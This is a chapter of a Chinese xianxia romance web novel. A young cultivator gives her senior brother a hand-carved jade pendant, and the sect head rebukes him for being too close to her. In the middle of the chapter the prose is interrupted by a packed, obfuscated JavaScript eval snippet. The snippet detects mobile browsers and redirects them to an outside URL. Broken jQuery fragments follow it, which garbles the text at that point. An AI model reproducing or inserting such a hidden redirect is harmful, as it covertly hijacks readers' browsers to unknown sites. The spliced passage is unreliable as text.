25. 我珍爱她

作品:《我的师兄不可能是反派

    岁安阁中,春光明媚温暖。


    温南浔坐在院中,手中握着那终于雕刻完成的红玉佩。


    一侧的桌子上,还摆着几块用来练习时雕刻坏了的玉石。


    温南浔轻轻摩挲手中的玉佩,觉得有些无趣。


    师兄一回云梦泽就被掌门喊走了,三天了,竟然也不来看她!


    “叮铃——”


    院门的铜铃轻响着,温南浔抬眼望去,就见林青陆鬼鬼祟祟般的走了进来。


    “……这是你什么新的行为艺术吗?”


    “咳。”面对她无语的调侃,林青陆竟也没第一时间反驳,他又看了眼自己身后,确定没有人跟来,这才松了口气。


    “你不知道,因为上一次在秘境险些出现意外,我师姐认为我疏于修炼,这段时日一直压着我修行。”


    他在院中了处地方坐下,一点也不见外地给自己倒了杯水,继续道。


    “这几日她忙于准备迎接其他宗门的人,我还以为我终于能够轻松点了,她居然专门派了其他弟子来盯着我修行!


    我每天三更睡七更醒,一天到晚除了修炼还是修炼,这简直不是人干的事!


    我这次还是偷偷溜出来的,再不放松放松我真的要疯了!”


    “啊——”温南浔轻扬着尾音,“那你好惨哦。”


    林青陆:……谢谢,我知道,好好的话怎么在温岁岁口中就变得阴阳怪气呢?


    林青陆好不容易脱离自家师姐的“魔爪”,现在正是看什么都觉得新鲜的时候。


    “我刚刚就想问你了,你这桌子上摆的都是什么东西?”


    他指了指那几块被温南浔雕刻坏了的玉石。


    “缺耳的小猫?”


    “……那是老虎,耳朵不小心摔碎了。”


    林青陆默了默,又指了另一块,“烧焦的乌鸦?”


    “……那是凤凰!”


    “温岁岁,商量个事呗。”林青陆忍了忍,还是没忍住开口,“你不适合雕刻这些,真的。”


    温南浔表示一点也不想和他说话。


    林青陆又在她那一圈奇形怪状的玉石中看了会,终于找出一只合眼缘的。


    “这只哈气的狗狗还挺可爱的。”


    “狗?”温南浔不记得自己有刻过狗,她垂眸,顺着林青陆的指尖望去,只觉得自己额间的青筋跳了跳。


    “林小六,有没有可能,这是只野狼呢?”


    “哈哈。”林青陆干笑了两声,“是吗?”


    温南浔有些泄气,“留影玉石不好雕刻,刻的不好看了些也正常嘛。”


    左右只是用来练习的,给师兄的玉佩刻得好看就行了。


    “留影玉石?”


    林青陆又看了那堆玉石几眼,“温岁岁,你不是吧,这么好的留影玉石你用来玩?”


    一般的留影玉石周围不可避免的会产生灵气波动,让人察觉。


    而面前这一堆,除了色泽漂亮以外,根本没有半分灵气波动,用来藏匿于暗处收集信息最好不过了。


    温南浔倒不觉得有什么问题,“我当时身上带着玉石就只有这种了。”


    “行了,不用再说了。”


    林青陆笑得勉强,再听下去,他怕自己会破防。


    温南浔看着那被林青陆称作狗的玉石摆件,睫羽颤了颤。


    林青陆再一次开口,打断她的思绪,“对了,明日各大宗门的人就要来了,你要不要去看看?”


    “有什么好看的。”温南浔没有半分兴趣。


    林青陆毫不意外她的拒绝,试图劝说。


    “听说这一次来的不只有大宗门的人,还有一些世家,包括隐世已久的宋家。”


    “宋家?”温南浔想到在青岚城幻境之中见到的宋敛之,那个曾与她那名义上的父亲齐名的天才。


    “嗯,而且宋家这次来的人,除了宋家少主以外,还有他的夫人白砚秋,据说还拥有仙遗族血脉?


    说来也奇怪,中州白家作为丹药世家,怎么会有一个身怀仙遗族血脉的子弟?”


    温南浔漫不经心的眸光顿住,她缓缓抬眼,一字一顿地开口。


    “仙、遗、族?”


    ……


    晚风拂过,屋檐的铜铃轻晃着。烛火之下,青年垂着眸子,目光落在桌上的卷轴之上。


    月光落于洁白的衣裳之上,更添几分清冷。


    又一阵风吹过,沈云谏抓着卷轴的手缓缓收紧。


    他低咳了声,灵脉之中还未清除干净的魔气翻涌叫嚣着。


    魔域一行,他虽毁坏了赤渊的一具化身,可也不可避免的落了伤。


    丝丝缕缕魔气渗入他的体内,一时半会也无法拔除,而且……


    他总感觉,似有什么东西在阻止着他清除魔气。


    想到赤渊化身消散前那似笑非笑的神情,还有那一句。


    “我等着你回来找我。”


    沈云谏不由得有些头疼。


    体内叫嚣着的魔气让他忍不住将要再次低咳出声,也是这时,汀水阁的禁制轻轻波动了一下。


    他压下喉间的痒意,抬眸望向门口。


    下一瞬,一颗毛茸茸的脑袋从门后探出。


    温南浔歪着头,发髻上的流苏垂落,轻轻地晃动着,泛着点点珠光,格外地勾人。


    “师兄?”


    她这样唤着他,沈云谏的眼底不由地漫起笑意。


    这几日,为免身上的伤被她察觉,他未曾主动去见她。


    可他不去,她倒是自己寻来了。


    她会说些什么呢?


    应当是问他为什么这么久不去见她。


    果不其然地,温南浔开口,“师兄,你怎么都不来找我了?是觉得我烦了吗?”


    沈云谏向她伸了伸手,尾音轻扬着,“又来拿我寻开心了,嗯?”


    温南浔轻哼一声,在他的身侧坐下,“师兄怎么这么晚还不歇息?”


    沈云谏轻声反问,“那师妹怎么也这么晚还不睡?”


    “我睡不着。”温南浔应着,声音有些郁闷。


    她本来都准备睡了,结果一闭眼,沉溪村的那一幕再一次出现在她的眼前。


    她看着高洁清雅的男人没有半分情绪的望向她,手中的剑对着她挥落。


    她果然很讨厌他!


    温南浔侧头看着沈云谏,轻眨了下眼。


    “我睡不着,所以就来找师兄了。”


    周围属于师兄的气息包围着她,温南浔轻弯着眉眼开口,“有师兄陪着我,我就能睡着了。”


    沈云谏垂眸看着她,想说些什么,只是在触及少女温软的眉眼时,他还是什么都没说,只是无声地纵容。


    “对了。”温南浔再一次开口,将手中的红玉佩展现给他看。


    艳红的玉佩之上,雕刻这清竹梨花,笔触稚嫩,却也看得出雕刻之人的认真。


    只是一眼,沈云谏便知晓这玉佩该是谁所刻。


    温南浔将手中的玉佩系到他的腰间,声音带着笑意,“果然很衬师兄。”


    沈云谏垂眸看着自己素白的衣裳上多出红玉的装饰,神情少有地出现抹怔然。


    许久,他终于出声,“谢谢岁岁,我很喜欢。”


    “我知道。”温南浔应着,就是她送出随处摘的花,师兄大抵也会说喜欢的。


    迟来的困意终于在安心的气息中出现,温南浔趴在桌上,声音有些含糊地开口,“师兄。”


    “嗯。”沈云谏应着。


    她又唤,“师兄。”


    “我在。”沈云谏依旧应下,就好像不管她唤多少次,他都会给予她回应。


    “我最喜欢师兄了。”


    很轻很轻的一声。


    沈云谏抬眼望去,看到的就是她只露出半张侧脸的睡颜。


    月光泠泠,格外温柔。


    他就这样静静望着她,不知过了多久,他收回视线,起身往院子走去。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092963|195518||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    院中,云槐序站在树下,见他出来时,开口唤着,“清安。”


    沈云谏开口,“掌门。”


    “你身上的伤如何了?”


    “已无大碍。”


    沈云谏这样应着,元槐序却是不信,“你啊,向来最是让我放心的,魔域一行,你受苦了。”


    “为宗门,不算苦。”


    元槐序看着他,心下轻叹。


    归墟要沈云谏探查魔族动向时,他是不赞同的,且不说魔域之危险,便是宗内的长老去了也不能保证全身而退,沈云谏再优秀,可也依旧年少。


    而且,他若是沾染了魔气,怕是……


    他心下思绪万千,一时无话。


    沈云谏再一次开口,“掌门可还有事?”


    “魔族动向不明,敌暗我明,还有赤渊,不知究竟是敌是友,你与他接触,切莫被其扰乱了心智。”


    对于他的忠劝,沈云谏应下,“弟子知晓。”


    “对了。”元槐序看到他腰间佩戴的红玉佩,归墟这个弟子,向来清冷自持,不爱这些配饰俗物,包括他现在日日戴着的乾坤戒,也是因着温南浔的缘故才留着的。


    想来这红玉佩也是她所赠送。


    元槐序想到自己来时看到的那一幕。


    清冷孤傲的青年安静地望着身侧安睡的少女,几次压下身体的不适。


    “清安,你觉不觉得,你与小浔过于亲密了些?”


    沈云谏原本漫不经心的眸光忽然顿住。


    元槐序接着开口,“你们虽是师兄妹,可相处时,也应当注意着些许分成才是,你说对吗?”


    他想着归墟这个弟子向来是不让人操心的,只是对于同门间的相处到底还是把握不好分寸,他作为师伯也理应教教他。


    “抱歉。”沈云谏垂着眸子,声音极淡,“弟子不知道何为师兄妹间相处的分寸。”


    元槐序未曾料到自己会得到这样的回答,他有些迟疑地开口。


    “你……”


    沈云谏截住他的话。


    “师妹年幼时,被师尊带回宗门,此后十二年,是我看着她一点点长大的。”


    “她第一道绘制的符咒是我所教,她学会的第一个法诀是我传授,她炼制的第一炉丹药送予了我。


    便是师妹的发髻先前也是我一手梳理,她的衣物、发钗,甚至是她所爱的配饰,无一不是我寻来给她的。”


    “我爱护她,为什么不可以?”


    沈云谏向来少语,突然其来的一大段话将元槐序砸得有些头晕。


    “师兄爱护师妹自然没有问题,我说的是,你们相处的模式,太过亲近了。


    你看,谁家师妹睡不着了会来自己师兄的房中睡觉?谁家师兄会一直看着师妹的睡颜?


    我知道你们关系好,也不是要你们两个生疏,只是该注意的分寸还是要注意些的,也免得旁人闲言碎语。”


    沈云谏有些沉默。


    “你可懂了?”元槐序见他低垂着眉眼的模样,再次问道。


    “弟子不懂。”沈云谏开口,“师妹年少,我珍爱之,亦不忍她受限于所谓分寸。”


    元槐序有些心梗,他想到温南浔这些年所闯下的祸事,“所以你就纵容着她,你又能纵容她到几时?”


    “我从未纵容师妹。我知道,师妹时常违背宗规,行为举止不受条框,可是非之间,她向来清楚。


    云梦泽于世间绝大多数修士而言,是追求,可于师妹,却是牢笼。


    她幼时失去最爱自己的母亲,师尊又常年闭关,宗内弟子多因她的身份有所介怀,她能是如今这副模样,已是不易。”


    沈云谏轻声说着,“我知道掌门对她寄予厚望,可从来没有人规定,她应当是什么样的人。我只是想,用我能做的,给她最好的一切。


    任她如何生长,我都会陪着她。”


    “于我而言,只要她平安喜乐、岁岁无虞,便足够了。”